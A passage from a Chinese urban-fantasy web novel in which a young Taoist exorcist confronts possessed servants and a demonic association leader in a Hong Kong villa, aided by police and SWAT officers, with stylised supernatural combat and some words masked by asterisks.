他下意识地掏出随身携带的罗盘,想先测一下别墅内部的气场方位。
然而,罗盘刚一入手,他就发现了异常。
天池中的磁针并非稳定指向南北,而是像发了疯一样,剧烈地、毫无规律地左右摇摆、高速旋转,根本无法定位!
与此同时,古德敏锐的灵觉清晰地感受到,这栋别墅内部的阴气浓度高得极不寻常!
几乎可以媲美之前阴阳路888号那个被厉鬼经营多年的小型鬼蜮!
空气中弥漫着一种沉滞、污浊的能量,让人呼吸都有些不畅。
墙上那几幅看似名贵的油画,此刻都透出一股阴森的寒意,仿佛画中人正在无声地注视着闯入者。
古德眉头紧锁,心中暗道:
“这么重的阴气……常人若长期居住于此,轻则病痛缠身,重则精神崩溃,甚至丧命。”
他目光扫过郑家父子。
两人虽气色略显苍白,阳气微弱,但魂魄完整,生机犹在,并无被鬼物附身或替换的迹象。
这就奇了。
若说屋内阴气滔天,理应早成凶宅;可这父子二人,却又如常人般生活其中。
十分不对劲!
这栋别墅,以及邀请他来的郑家父子,处处都透着一股浓重的诡异和矛盾。
第106章 郑家老宅怪异
古德脸上没什么表情,心里却已经转了好几个弯。
他看似随意地扫了一眼这个装修得金碧辉煌、却总感觉阴森森的大客厅,然后转向郑志昌,用平常聊天的语气问道:"郑先生,家里现在除了你们父子俩,还有其他人住着吗?"
郑志昌连忙回答:“哦,还有我老母亲,在楼上休息。还有我的小儿子,这两天身体不太舒服,在自己房间里。另外就是几个保姆佣人,都在后院忙活。”
站在一旁的郑国权似乎想起什么,插嘴补充道:“爸,还有JoJo呢。”
郑志昌一拍脑门,露出一个有点夸张的恍然大悟表情:
"哎哟你看我这记性!对对对,还有个女孩子叫JoJo,是我这大儿子的...好朋友,暂时在咱们家借住。"
古德轻轻点了点头,眼睛不经意地扫过客厅几个角落,发现那里扔着几张画得歪七扭八的黄符纸,一看就是外行人瞎画的。
他指着那些废纸问:"看来在我来之前,郑先生还请过别的人来看事儿?这些符..."
郑志昌脸上闪过一丝不易察觉的尴尬,随即摆出一副愤懑的样子,摸了摸鼻子抱怨道:
“唉,别提了!那是我老母亲昨天不知从哪请来的一个老道士,吹得天花乱坠,结果不知道什么时候,趁我们不注意就溜了!还把家里弄得乱七八糟,真是半点不靠谱!”
古德心里冷笑,面上却不动声色,继续问:"除了觉得家里阴冷,还有那个道士留下的烂摊子,最近还有什么特别不对劲的事吗?"
郑志昌摇了摇头,刚想说没有,旁边的郑国权却像是忍不住般,带着担忧和一丝难以启齿的神情开口道:
“古大师,说起来……我弟弟阿威,这两天确实很不对劲!他以前是个很老实、很单纯的孩子,可从前天开始,就像变了个人似的!
居然……居然去非礼家里一个年轻保姆!要不是被人及时发现拦住了,差点出事!而且他现在看女人的眼神……充满了那种……色眯眯的感觉,特别吓人!我怀疑他是不是真的中邪了!”
郑志昌闻言,立刻像是被提醒了,连忙点头附和:
“对对对!国权说得对!阿威这孩子以前不是这样的,肯定是招惹了不干净的东西!古大师,您可得好好给他看看!”
古德无语地瞥了一眼郑志昌,这当爹的,连自己儿子行为出现如此巨大的反常都需要别人提醒才发现?
这反应未免也太迟钝了。
他压下心中的疑虑,对两人说道:“这样吧,麻烦你们把家里所有人都请到客厅来,我需要当面看一下情况。趁这个时间,我和我助手先在院子里和房子四周转转,初步勘查一下环境。”
“好好好!没问题!我们这就去叫人!”郑志昌父子连声答应,转身朝屋内走去。
古德给郑立使了个眼色,两人一前一后,看似随意地在偌大的别墅庭院和一层的大厅、偏厅等处漫步观察。
庭院里的植物缺乏打理,显得有些杂乱荒芜。
偶尔遇到一两个穿着佣人或保镖制服的人,他们都低着头,默不作声地快速走过。
郑立凑近古德,压低声音,紧张地问:“阿德,怎么样?有没有发现什么不对劲?”
古德微微摇头,用眼神示意他保持安静,不要打草惊蛇。
他表面上不动声色,内心却愈发凝重。
这栋别墅里的佣人和保镖,数量似乎多得有点不正常,而且他们的神态、动作都透着一股说不出的怪异。
忽然,一个念头如同闪电般划过古德的脑海。
影魇!
他想起自己曾经遇到过的那种属于怪谈协会的脏东西。
是比较恶心的一种邪祟。
影魇能够找到合适的活人作为替身,它们用披着那层活人的皮囊上的阳气,完美掩盖住
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自身浓郁的阴气。
如果不是直接进行身体接触或用特殊手段探查,单凭法眼观察或者感应气息,很难识破它们的伪装!
“如果……郑家内部有人与怪谈协会勾结,那么他们完全有可能利用这层关系,将别墅里所有的佣人、保镖都悄无声息地替换成影魇!这样就能神不知鬼不觉地将这里打造成一个他们的大本营!”
古德越想越觉得可能性极大。
他甚至怀疑,这别墅的地下,恐怕早已埋藏了不知多少具用于滋养邪祟的尸骨!
这里阴气如此之重,绝非一日之寒。
必须尽快把消息传出去!
古德不动声色地让郑立用身体挡住自己,在一个廊柱的阴影死角,迅速从随身挎包里取出一张空白的黄符纸。
他手指灵活地折叠了几下,一只栩栩如生的小纸鹤便出现在掌心。
他心中默算着时间,觉得差不多了。
只见他指尖凝聚一丝微不可查的法力,在纸鹤的头上轻轻一点,同时心中默念起一段玄奥的咒语:
“天地无极,乾坤借法!灵鹤听令,循气引路,速达我音!急急如律令,去!”
咒语念毕,他指尖的法力如同一点灵光注入纸鹤。
那原本是死物的纸鹤,竟微微颤动了一下,仿佛被赋予了生命。
它在古德掌心轻盈地盘旋了一小圈,然后化作一道几乎看不见的淡黄色流光,“嗖”地一下穿过了墙壁,瞬间消失得无影无踪。
一旁的郑立瞪大了眼睛,死死捂住自己的嘴巴,才没惊呼出声。
他看着这神奇的一幕,脸上写满了不可思议。
古德做完这一切,神色恢复如常,轻轻拍了拍郑立的肩膀,低声道:
“走吧,消息已经送出去了。我们去客厅,看看郑家的人到齐了没有。”
两人调整了一下表情,若无其事地朝着别墅主客厅的方向走去。
真正的较量,或许才刚刚开始。
第107章 你听过一句话吗?
古德带着郑立,不紧不慢地走回别墅那间挑高宽敞、装修奢华却透着寒意的主客厅。
此刻,客厅中央已经站了六个人,除了刚才见过的郑志昌和郑国权父子,还多了四张陌生面孔。
古德目光平静地扫过众人,心里快速对号入座:
一位年纪很大、头发银白的老太太,穿着一身质地考究的暗红色绣花绸缎衫,手腕上挂着一串油光水亮的佛珠,手指无意识地捻动着。
她脸上皱纹深刻,眼神却带着一种审视和怀疑的光芒,正上下打量着古德,嘴角微微下撇,似乎对这位年轻的大师不太信任。
这应该就是郑志昌的母亲,那位既信佛又请道士的兼容并包型信徒。
古德心里忍不住吐槽:“这老太太信仰还挺杂糅,不过嘛,真要驱邪捉鬼,关键时候还得要找道士。”
站在老太身边,一位体型丰腴、穿着同样贵气的中年女人,脸上带着富家太太常见的养尊处优,但眉宇间也藏着一丝挥之不去的忧虑和疲惫。
她应该是郑志昌的妻子。
紧挨着郑国权,一位穿着入时、妆容精致、身材窈窕的年轻女性,脸上带着温和甚至有些怯生生的笑容,见古德看过来,还礼貌地点了点头。
这位大概就是郑国权的女朋友JoJo了。古德也微微颔首回礼。
最后,他的目光落在了站在稍远处角落的一个年轻人身上。
这人穿着一身松垮的休闲服,顶着一头略显凌乱的卷发,脸色苍白,眼神阴鸷,嘴角挂着一丝若有若无、令人极不舒服的冰冷笑容。
不用猜,这位肯定就是郑国权口中那个行为反常的二弟阿威了。
然而,当古德的目光与阿威接触的瞬间,他心头猛地一凛!
根本无需运功细查,仅凭肉眼和灵觉,他就能清晰地看到,这个阿威周身笼罩着一层几乎凝成实质的灰黑色阴气!
那阴气如同活物般蠕动,与他看似年轻的身体格格不入,散发出一种死寂、怨毒的气息。
这哪里还是活人?
分明是一具被强大邪祟彻底占据、几乎快要腐朽的皮囊!
古德脚步下意识地停顿了一下,眼角微微抽搐。
“好家伙……这是连装都懒得装了吗?”
按照一般的套路,对方不是应该先假意周旋,陪自己演一会儿戏,摸清底细再图穷匕见吗?
这么直接地亮出底牌,要么是蠢,要么就是有绝对的自信,认为吃定他了,根本不屑于伪装。
就在古德心念电转之际,那阿威见古德停下脚步盯着自己,非但不收敛,反而发出一声沙哑的冷笑,阴阳怪气地开口道:
“哟?这位就是大名鼎鼎的古大师?怎么站在那儿不动了?是觉得我们郑家庙小,容不下您这尊大佛,还是说……你压根就是个没什么真本事,只会招摇撞骗的江湖骗子啊?”
他这话一出,客厅里顿时安静下来。郑家老太太的眉头皱得更紧了,郑太太和JoJo脸上也露出了惊疑不定的神色,连郑志昌和郑国权都下意识地看向了古德,气氛瞬间变得紧张而微妙。
面对这赤裸裸的挑衅和试图搅乱局面的行为,古德眼中寒光一闪而过。
跟这种已经摊牌的邪祟,没什么道理可讲,更没必要按常理出牌!
古德脸上非但没有怒意,反而露出一抹略带嘲讽的淡然笑容。
垂在身侧的右手手指微不可查地迅速掐动,体内液态法力珠悄然加速旋转,一股精纯的雷霆之力迅速在掌心压缩、凝聚。
他一边暗中准备,一边缓缓开口,声音不高,却清晰地传入每个人耳中:“你有没有听过一句话?”
阿威显然没料到古德会是这个反应,阴狠的眼神中闪过一丝错愕,下意识地反问:“什么话?”
就在他话音
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刚落的刹那——
“嗤啦——!!!”
一道刺眼的湛蓝色电蛇自古德掌心猛然窜出!
速度快得超乎想象,带着撕裂空气的爆鸣声,精准无比地轰击在阿威的胸口!
“嗷——!!!”
阿威发出一声完全不似人声的凄厉惨嚎!
整个人如同被高速行驶的汽车撞到,向后猛地倒飞出去,重重地砸在客厅昂贵的红木茶几上!
“咔嚓”一声,厚重的茶几被砸得四分五裂!
他身上那浓郁的阴气如同沸水般翻滚、溃散,裸露的皮肤上瞬间浮现出大片焦黑的灼痕,散发出刺鼻的焦糊味。
直到这时,古德才慢悠悠地接上刚才的话尾,语气带着一丝戏谑:
“那句话叫——反派死于话多。”
话音未落,他左右手手指间已然各自夹住了一张绘制好的五雷符!
符箓上的朱砂符文在法力灌注下亮起刺目的光芒!
古德不再给对方任何喘息的机会,口中急速念诵咒言:
“五雷五雷,急会黄宁,氤氲变化,吼电迅霆!闻呼即至,速发阳声!急急如律令!敕!”
“轰!轰!”
两张五雷符瞬间燃烧殆尽,化作两道比之前**更加粗壮、威力更加集中的蓝色雷霆。
如同两条咆哮的雷龙,一左一右,再次朝着刚从地上挣扎爬起、浑身冒烟的阿威狠狠劈下!
直到这时,被这突如其来的变故惊呆的郑家众人,才仿佛从定格中恢复过来。
郑志昌发出一声惊恐至极的尖叫,郑老太太吓得差点晕厥,郑太太和JoJo更是抱在一起瑟瑟发抖。
郑国权则满脸骇然,失声大喊:
“不要!古大师!手下留情!那是我弟弟啊!”
然而,雷霆之势,岂容收回?
整个客厅被刺眼的雷光照得一片煞白,空气中弥漫着臭氧和焦臭的气息。
第108章 局势逆转再逆转
“轰——咔!”
两道刺目的金色雷霆如同天罚之剑,狠狠劈落在阿威所在的位置!
震耳欲聋的爆响伴随着刺眼的雷光,将整个奢华客厅映照得一片惨白!
强大的冲击波甚至掀翻了附近的单人沙发和花瓶摆设,碎片四溅。
雷光散去,原地只留下一具焦黑蜷缩、冒着缕缕青烟、已经完全看不出人形的焦尸,空气中弥漫着皮肉烧焦和臭氧混合的刺鼻气味。
“阿威!我的弟弟!”
郑国权发出一声撕心裂肺的悲鸣,双眼瞬间布满血丝,他猛地转向古德,脸上充满了难以置信的愤怒和悲痛,指着古德怒吼道:
“你!你杀了我弟弟!你这个**凶手!我要报警!我要让你偿命!”
古德连眼皮都懒得抬一下,只是用看**一样的眼神瞥了他一眼,淡淡地吐出两个字:“天真。”
他的目光始终没有离开地上那具焦尸,眉头微蹙,仿佛在观察什么有趣的东西。
郑立擦了擦额角的冷汗,赶紧打圆场:
“郑先生,您先别激动。您弟弟刚才那模样,任谁都看得出不正常。古大师出手,肯定有他的道理……”
郑国权却根本听不进去。
“什么道理?!”
郑国权几乎是吼出来的,手臂一挥指向古德,“我弟弟再怎么不对劲,也轮不到他来个私刑处决!”
而站在一旁的郑志昌,此刻的反应却异常古怪。
他脸上并没有失去儿子的巨大悲痛,反而闪过一丝不易察觉的阴沉和……喜悦?
他突然扯开嗓子,朝着客厅门外厉声高喊:“保镖!都死哪里去了!快进来!”
话音刚落,外面就传来一阵杂乱而急促的脚步声。听声音,至少有七八个人正在朝这里赶来。
古德却对这一切充耳不闻。
他蹲下身,凑近那具焦黑的尸体,平静地道:“别装了,我知道你没事。”
他的灵觉如同敏锐的触须,清晰地感知到那具焦炭般的躯壳下,正蛰伏着一股令人心悸的危险气息。
仿佛是为了印证他的话,那具焦尸突然剧烈地蠕动起来!
焦黑的表皮如同脆弱的蛋壳般纷纷龟裂、剥落!
伴随着令人牙酸的“咔嚓”声和粘稠的撕裂声,一个浑身沾满暗红色粘稠血浆、皮肤呈现不祥青黑色、四肢扭曲面目狰狞可怖的人形怪物,硬生生从焦尸内部破壳而出!
它甩了甩脑袋,粘稠的血浆滴落在地毯上,发出“滋滋”的腐蚀声。
它抬起那张勉强能看出五官、却扭曲得如同噩梦的脸,发出一串沙哑、漏风般的怪笑:
“桀桀桀……不愧是能屡次坏我好事的古大师……眼力果然毒辣……被你发现了……”
古德看着眼前这个散发着远超寻常厉鬼的磅礴阴气的怪物,眉头紧紧皱起。
这股压迫感……几乎已经触摸到了鬼王的门槛!
是半步鬼王级别的凶物!怪不得敢如此有恃无恐!
“郑先生,您这是干什么?”
郑立突然失声惊呼。
几乎同时,郑国权也诧异地喊道:“爸?!”
古德循声回头,眉头一挑。
只见郑志昌不知何时已经退到了大厅角落,而那些闻声冲进来的保镖,约有七八人,竟然个个手中都握着**,黑洞洞的枪口齐刷刷对准了古德!
更让人头皮发麻的是,郑国权此刻竟对着那个刚从焦尸里爬出来的怪物,毕恭毕敬地弯下了腰:“会长,一切尽在掌握之中。”
说完这句,他的身体还保持着面朝古德的姿势,头颅却发出一连令人毛骨悚然的“咔吧”声,硬生生旋转了一百八十度,转向了身后的郑志昌和那些**保镖!
他的双眼流出两道鲜红的血泪,脸上却挂着极其灿烂、极其诡异的笑容,阴冷音色的语调说道:
“国权,妈,你们别怕……过了今天……我就带你们一起加入协会……享受真正的……长生不死……”
那个从焦尸里爬出来的怪物,似乎对郑志昌的“表演”十分满意,发出赞许的怪笑。
它转而看向被保镖和它自己前后夹击的古德,得意地宣告:
“古大师,看到了吗?这整栋别墅,早已是我的领域!就算你道法高深,能请神召雷,但面对这么多把现代火器的同时射击,我不信你还能长出翅膀飞出去!今天,你插翅难飞!”
古德面对
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绝境,脸上却不见丝毫慌乱。
他暗中运转法力,手指在身后悄然掐诀,正准备有所动作——
突然!
一个熟悉而充满痞气的声音,如同炸雷般从别墅大门外传来:
“喂!边个咁大口氣(谁这么大口气)啊?敢话(说)我周星星个兄弟插翅难飞?问过我先啦(先问过我)!”
话音未落!
“嘭!!!!”
一声巨响!
那扇厚重的别墅大门,竟然被人从外面用暴力生生撞开!
郑志昌猛地将身体转回正常位置,惊怒交加地喝道:“谁?!敢私闯民宅!”
大门打开,三道身影逆着光,如同神兵天降,迈着铿锵有力的步伐,踏入了混乱的客厅!
为首一人,是身穿标志性皮衣皮裤,面色冷峻,带着墨镜的谢潮!
左侧穿着黑色风衣,戴着盲公镜,嘴角挂着标志性的痞笑,正是周星星!
右侧,则是同款风衣的于子朗,警惕地扫视着全场,手中已经握住了配枪。
谢潮上前一步,亮出一个印有警徽和特殊编号的证件,目光如电扫过全场,声音沉稳而充满威严:
“香港警务处,特别事务科,异灵灵异部!谢潮!”
他顿了顿,墨镜后的目光似乎扫过全场,最后落在那些**的保镖身上,语气骤然转冷:
“现在,我命令你们,立刻放下武器,双手抱头,靠墙蹲好!配合调查,可以从宽处理哦。”
随着他的话音,那些**保镖突然惊恐地发现,不知何时,自己每个人的眉心或胸口要害处,都多了一个细微却致命的红色激光瞄准点!
显然,别墅外围已经被狙击手彻底封锁!
局势,在刹那间彻底逆转!
古德直到这时,嘴角才微微向上牵起一个不易察觉的弧度。
他甚至没有回头去看门口的援军,目光依旧牢牢锁定着前方那具狰狞的血色怪物,慢悠悠地开口问道:
“怪谈协会的‘会长’?现在,你还觉得你胜券在握吗?”
大厅里一时间静得可怕,只剩下那怪物身上黏液滴落在地板上的“嘀嗒”声,以及保镖们因为紧张而变得粗重的呼吸声。
第109章 重案组之虎
就在客厅内气氛剑拔**张,谢潮的警告声余音未落之际,一个气喘吁吁、带着几分滑稽腔调的声音,突兀地从被撞开的大门口传了进来,瞬间打破了这凝重的僵局。
“喂!星啊!阿星!跑……跑这么快干嘛!等等我啊!累死我了!”
众人循声望去,只见一个穿着紧绷绷的黑色皮衣皮裤、戴着副夸张的三角形墨镜、顶着一个泛着青茬寸头、身材圆润得像颗球的中年男人,正扶着门框,大口大口地喘着粗气,额头上全是汗珠。
他好不容易顺过气来,一抬头,发现客厅里所有人的目光都齐刷刷地聚焦在自己身上。
中年男子先是一愣,随即下意识地挺了挺他那圆滚滚的胸膛和啤酒肚,努力摆出一副威风凛凛的样子,用带着点色厉内荏的语气嚷嚷道:
“睇咩睇(看什么看)!未见过咁有型嘅差佬(没见过这么帅的警察)啊?”
然而,当他的目光扫过客厅中央那个从焦尸里爬出来、血淋淋、扭曲狰狞的怪物会长时,瞬间破功,吓得脖子一缩,墨镜都差点掉下来。
他像只受惊的兔子一样,“嗖”地一下窜到周星星身后,紧紧抓住周星星的皮风衣,声音都带上了哭腔:
“阿……阿星!你……你叫我来帮手,就是对付这种东西?我……我顶不住啊大佬!我觉得我今日状态不是很好……”
周星星没好气地白了他一眼,嗤笑道:“喂!你不是自封‘重案组之虎’曹达华咩?一只小怪物就吓到你脚软?你你的虎威呢?”
曹达华尴尬地干笑两声,嘴硬道:
“嘿嘿……虎……虎落平阳被犬欺嘛!不过阿星你开声,我曹达华一定撑你!赴汤蹈火,在所不辞啊!”
话虽这么说,他那双躲在墨镜后面的小眼睛,还是忍不住偷偷瞄向那只恐怖的怪物,腿肚子微微发抖。
那怪物会长看着周星星和曹达华两人竟然在这种场合下旁若无人地斗起嘴来,完全没把它放在眼里,顿时感到一种被轻视的侮辱。
它发出一声愤怒的咆哮,震得客厅吊灯都晃了晃:“混账!你们当我不存在吗?!还有你们这些废物!”
它猛地指向那些**的保镖,“你们本质上已经是鬼了!还怕什么肉身损伤?!这具皮囊坏了,大不了再换一具!给我上!撕碎他们!”
“还有那个老不死的老道士!你还要躲到什么时候?!你不是一直觊觎这小子身上的**吗?!再不出来,汤都没得喝了!”
被怪物会长这么一吼,那些原本被**指着有些畏缩的保镖们,眼神瞬间变得凶狠起来!
对啊,他们早已不是活人,而是占据了肉身的影魇!
这具身体不过是暂时的容器,毁了就毁了,大不了再花些时间找替身!
想到这里,他们脸上露出狰狞的表情,纷纷举起**,准备不顾一切地冲上来!
然而,他们刚刚有所动作——
“噗!噗噗噗——!”
一连串低沉而精准的**骤然响起!
声音来自别墅外不同方向的制高点!
只见那些冲在最前面的影魇保镖,**的手腕、膝盖、甚至眉心处,瞬间爆开一团团粘稠腥臭的黑血!
狙击**携带的强大动能,不仅打断了他们的关节,更将他们身体打得一阵溃散!
惨叫声此起彼伏,刚才还气势汹汹的影魇们,瞬间倒下一片,在地上痛苦地翻滚挣扎,失去了战斗力。
古德自始至终都淡定地站在原地,冷眼看着这一幕。
他心中暗想:这些低级的影魇,果然智商是硬伤,空有凶戾,却不懂审时度势。
而郑家那几个真正的活人。
郑老太太、郑太太、JoJo以及惊魂未定的郑国权,此刻早已吓得面无人色,紧紧靠在一起,缩在墙角,大气都不敢出,生怕被流弹或者什么诡异波及,身上莫名其妙多几个洞。
周星星得意地朝古德扬了扬下巴,喊道:
“喂!德仔!怎么样?兄弟我够意思吧?为了帮你撑场子,我可是把以前在飞虎队的兄弟们都请出山了!这排面,够帅吧?”
古德看着周星星那副“快夸我”的表情,忍不住笑了笑,朝他比了一个大大的大拇指。
怪物会长见自己的手下瞬间被瓦解,气得浑身阴气翻涌,血红的眼睛死死盯住二楼方向,再次发出怒吼:
“没用的废物!老道士!你还要看戏看到什么时候?!”
它的吼声刚落,二楼走廊深处,突然传来一阵清脆却透着诡异邪气的铜铃声——
“叮铃铃……叮铃铃……”
伴随着铃声,一个身影缓缓从阴影中踱步而出。
只见此人须发皆白,看似仙风道骨,却穿着一身略显陈旧的明黄色道袍,手持一个刻满诡异符文的青铜铃铛。
他脸上带着一种皮笑肉不笑的表情,眼神阴鸷地盯着楼下的古德,用一种沙哑阴侧的嗓音开口道:
“
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无量天尊……小友,年纪轻轻,道法倒是颇为精深。贫道对你所修**颇感兴趣,不知可否……借来一观?”
他晃了晃手中的铃铛,威胁意味十足,“若是不肯行个方便,那就休怪贫道不客气了。
这别墅地下,可是埋着不少贫道这些年精心炼制的好朋友。只要贫道这铃铛一摇,它们可就要出来活动活动筋骨了。
到那时……小友纵然有天大的本事,怕是也插翅难飞了呵呵呵……”
郑家老太太看到这道士,惊讶地失声叫道:“道长!您……您没走啊?”
古德冷冷地看着这个道貌岸然、实则与邪祟为伍的老道士,心中明了,这恐怕就是郑老太太之前请来的那个不靠谱的道士,原来他一直潜伏在暗处,觊觎自己的**。
看来,这怪谈协会为了对付他,还真是煞费苦心,连这种邪道中人都网罗了。
不过,古德压根没打算跟他废话。
既然对方已经亮明了敌意,还搞威胁这一套……
古德的目光依旧牢牢锁定着主要的威胁那个怪物会长,头也不回,只是淡淡地朝周星星的方向说了一句:
“阿星,盘他。”
“啥?”那老道士显然没听懂这突如其来的俚语指令,愣了一下。
就在他愣神的这一刹那——
“砰!”
一声清脆的枪响划破空气!
老道士的额头上,瞬间多了一个触目惊心的血洞!
他脸上的狞笑僵住了,眼中充满了难以置信的神色,身体晃了晃,直挺挺地向后倒去!
只见周星星不知何时已经拔出了自己的配枪,枪口还冒着缕缕青烟。
他吹了**口,撇撇嘴道:
“大人,时代变了,还玩铃铛呢。”
然而,令人毛骨悚然的是,那老道士向后倒下的身体,在即将触地的瞬间,竟以一种极其诡异的姿势猛地一扭,如同壁虎般迅速缩回了二楼的柱子后面!
紧接着,柱子后面传来他气急败坏的尖叫声:
“我顶你个肺!年轻人不讲武德!竟然动枪!偷袭我这个老人家!”
话音未落,那诡异急促的铜铃声再次疯狂地响了起来!
“叮铃铃!叮铃铃!”比之前更加刺耳,更加急促!
古德眉头紧紧皱起,脸色变得凝重。
被爆头都不死?
这老道士……果然有些邪门的保命手段!
看来,地下的那些“好东西”,真的要被他唤醒了!
第110章 论cos哪个更强一点
那老道士摇动的铜铃声邪异非常,不像金属撞击,倒像是用骨头敲打腐朽的木头发出的闷响。
这声音仿佛带有某种穿透灵魂的魔力,轻易钻进每个人的耳膜,在脑海里嗡嗡回荡,搅得人心烦意乱,没来由地生出一股寒意。
铃声如同投入死水潭的石子,瞬间在这座本就阴气森森的别墅里激起了层层涟漪。
几乎在同一时间,别墅内外异变陡生!
外面花园里,原本严阵以待的飞虎队员们传来一阵压抑着的骚动,无线电耳麦里立刻响起一个队员略显紧张却又带着几分发现目标的兴奋声音:
“周sir!周sir!收到请回答!别墅后面的花园……地底下、地底下爬出来好多东西!是……是会动的尸体!数量不少!请求指示!”
紧接着,就听到别墅内部也传来女人惊恐的尖叫声!
只见几个原本躲在厨房和后院的保姆、佣人,此刻如同见了鬼一般,脸色惨白、连滚带爬地从里面逃了出来,嘴里语无伦次地喊着:
“尸……尸体!后院……后院土里爬出**来了!”
整个别墅,瞬间从刚才的枪战对峙,变成了内外交困的灵异战场!
周星星眉头紧锁,立刻按住耳麦,但目光却第一时间投向了古德,寻求主心骨的意见:
“阿德!现在怎么搞?里面外面都乱套了!”
古德面对这突如其来的混乱,眼神却异常冷静。
他迅速将背着的那个超大号琴盒杵在地上,发出“咚”的一声闷响。
语速飞快,却条理清晰地开始分配任务,声音带着不容置疑的决断:
“阿星,阿潮,你们负责清场!
阿星,你带人主要处理外面花园爬起来的行尸,还有客厅里这些被打残的影魇保镖!
记住,那些看起来惊慌失措的保姆和佣人,多半也被影魇附了体,别被她们的演技骗了,一并解决,以绝后患。
阿潮,你身手好,去二楼解决那个摇铃铛的老道士,别让他再搞事!”
快速说完,他转向身边脸色发白、显然有些被这场面镇住的郑立,语气放缓但依旧坚决:
“阿立!你立刻退到别墅外面,去和飞虎队汇合,那边现在最安全!这里的战斗,已经不是你能插手的了,别留在这里碍事!”
最后,他的目光锐利如剑,牢牢锁定在眼前那个散发着令人心悸的阴冷气息的怪物会长身上,语气平淡却带着强大的自信:
“至于这味怪谈协会会长……交给我来料理。正好,我也想亲手试试,所谓的‘半步鬼王’,到底有几分斤两。”
他特意补充了一句,看向谢潮和周星星:
“记住,那些影魇,能活捉就尽量活捉,收进捉鬼瓶里,都是‘资源’。
如果情况危急,控制不住,就直接物理超度,不用犹豫!你们解决完后,到时候再请神配合我活捉这个怪谈协会会长。”
谢潮和周星星对视一眼,没有任何废话,立刻点头。
谢潮眼神一凛,简短回应:“明白!老道士交给我!”
说完,他身形如猎豹般敏捷,几个起落便悄无声息地沿着楼梯向二楼潜去。
周星星则一边快速给**更换**,一边嘴上抱怨着:
“哇!大佬!你讲就轻松!外面一堆‘新鲜出炉’的尸体,里面还有这么多影魇要补刀!你想累死我啊?
这次结束我要找阿潮加工资!这次一定要加工资!不加我就去投诉科饮咖啡!”
吐槽归吐槽,他的动作却没有丝毫迟缓。
他按住耳麦,开始下令:“外面的人听着!集中火力,优先打断那些行尸的腿脚,限制它们行动,我马上出……”
话还没说完,耳麦里却传来队员带着几分诧异和轻松的报告:
“周sir!等等!情况好像……有变化!花园这边,好像用不到我们动手了!”
“嗯?”周星星一愣,下意识地扭头透过破碎的窗户望向别墅外的花园。
只见花园的草坪上,不知何时多了一个身影。
正是马季!
他不知何时已经绕到了别墅后方。
此刻,他双手各握着一把改装过的**,站姿沉稳,眼神专注,正以一种近乎艺术般的流畅动作,双臂交错,左右开弓,对着那些正从松软泥土中挣扎爬出的腐烂行尸,进行精准的点射!
“砰!砰!砰!砰!”
**节奏分明,每一颗**射出,都精准地命中行尸的膝关节或脊椎要害!
更令人惊奇的是,在**命中目标的瞬间,隐约能看到弹头上似乎沾染着某种暗红色的、散发着微弱阳刚气息的液体,击中行尸后,伤口处会冒起一丝丝克邪的黑烟,让行尸的动作瞬间僵直、瓦解!
而那些倒地的行尸七窍中,竟有无数细小的、黑色的虫子试图爬出。
但在马季身旁,石敢当双手虚按地面,一股土黄色的、厚重温和的灵力波动以他为中心扩散开来,形成一道无形的屏障,将试图靠近马季的小虫子纷纷灭杀,为他创造了完美的输出环境!
这一人一灵,配合得天衣无缝!
马季负责远程精准“点名”,石敢当负责近身控场保护,效率高得惊人!
“我靠!不是吧?这么猛?!”
周星星看得眼睛都直了,忍不住爆了句粗口,脸上写满了震惊和不可思议。
“现在的新人都这么卷的吗?还让不让我们这些老家伙活了?”
感叹归感叹,周星星动作也不慢,立刻转身冲向客厅里那些还在挣扎的影魇保镖,开始熟练地“补刀”和用收鬼瓶收取溃散魂体。
对于那些眼神闪烁、假装惊恐试图靠近的保姆佣人,他也没有丝毫手软,眼神锐利,抬手便是精准的点射,**呼啸着命中其要害,逼得附身的影魇惨叫着现出原形。
古德也瞥了一眼花园里大显神威的马季,心中暗赞了一句:
“好家伙,马可波罗啊。可惜不是‘绿茵’皮肤,不然更帅了。”
随即,他的注意力完全回到了眼前的对手身上。
那个怪物会长,在古德迅速分派任务、援军纷纷显威的这段时间里,竟然没有趁机发动攻击,而是眼神惊疑不定地盯着古德。
尤其是古德杵在地上的那个神秘琴盒,他似乎从中感受到
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了极大的威胁,显得有些迟疑和忌惮。
古德将它的反应尽收眼底,嘴角勾起一抹淡淡的嘲讽,故意用言语刺激道:
“怎么?刚才不是挺嚣张的吗?现在知道怕了?连出手的勇气都没有了?”
说话的同时,古德心中飞快地盘算起来:
“半步鬼王级别的邪祟……这可是稀罕货!要是能活捉,交给岚婆处理,换算成阴德,怕不是能顶得上十几只普通厉鬼?说不定直接够系统升级了?”
想到这里,他看向怪物会长的眼神里,不禁流露出一丝看到移动金库般的灼热和贪婪。
那怪物会长被古德的眼神和话语彻底激怒了!
它何时受过这种轻视?
从来都是它把别人视为猎物和食物!
强烈的**感和凶性瞬间压过了理智!
“吼!狂妄!我要撕碎你!”
它发出一声震耳欲聋的咆哮,周身阴气如同火山喷发般汹涌而出,整个客厅的温度骤降!
它双腿猛地蹬地,坚固的大理石地砖应声碎裂!
它化作一道模糊的、带着残影的黑烟,速度快得惊人,伴随着撕裂空气的尖啸声,那双血淋淋的双手,此刻骤然暴涨成十根尺许长、乌黑发亮、边缘闪烁着金属寒芒的恐怖利爪,直取古德的面门和心脏!
爪风凌厉,竟带起了嗤嗤的破空之声!
“来得好!”
古德眼中精光一闪,不闪不避,反而迎上前去!
只见他右手并指如剑,在琴盒的卡扣上轻轻一按!
“咔嚓!”一声轻响!
琴盒盖应声弹开!
一抹深沉古朴的青铜色寒光瞬间从盒内迸射而出!
那柄经过纸扎陈修复、并由古德日夜用法力温养、此刻已然焕然一新、灵性内蕴的青铜法尺大宝剑,静静地躺在盒中,剑身上的云篆雷文仿佛活了过来,流淌着微弱的光华!
古德出手如电,一把抓住剑柄!
入手瞬间,一股血脉相连般的熟悉感和磅礴的力量感涌上心头!
他手腕一抖,体内液态法力珠疯狂运转,精纯的金光咒瞬间涌向剑身!
“嗡——!”
青铜大宝剑发出一声愉悦的轻鸣,剑身骤然亮起一层凝练璀璨的金色光芒!
至阳至刚的破邪之力附着于剑刃之上,使得这把斩妖古剑威力再次暴增!
面对怪物会长撕裂而来的、瞬间暴涨成十根尺许长、乌黑发亮、边缘闪烁着金属寒芒的恐怖利爪,古德嗤笑一声:
“呵,爪子变长点就以为自己是金刚狼了?”
话音未落,他双臂发力,腰马合一,手中金光闪耀的青铜大宝剑后划破空气,带着一往无前的凌厉气势,不偏不倚,硬碰硬地朝着那十根利爪狠狠劈斩而下!
“铿——咔嚓!!!”
一声刺耳的金铁交鸣声后,紧接着便是一连串清脆的断裂声!
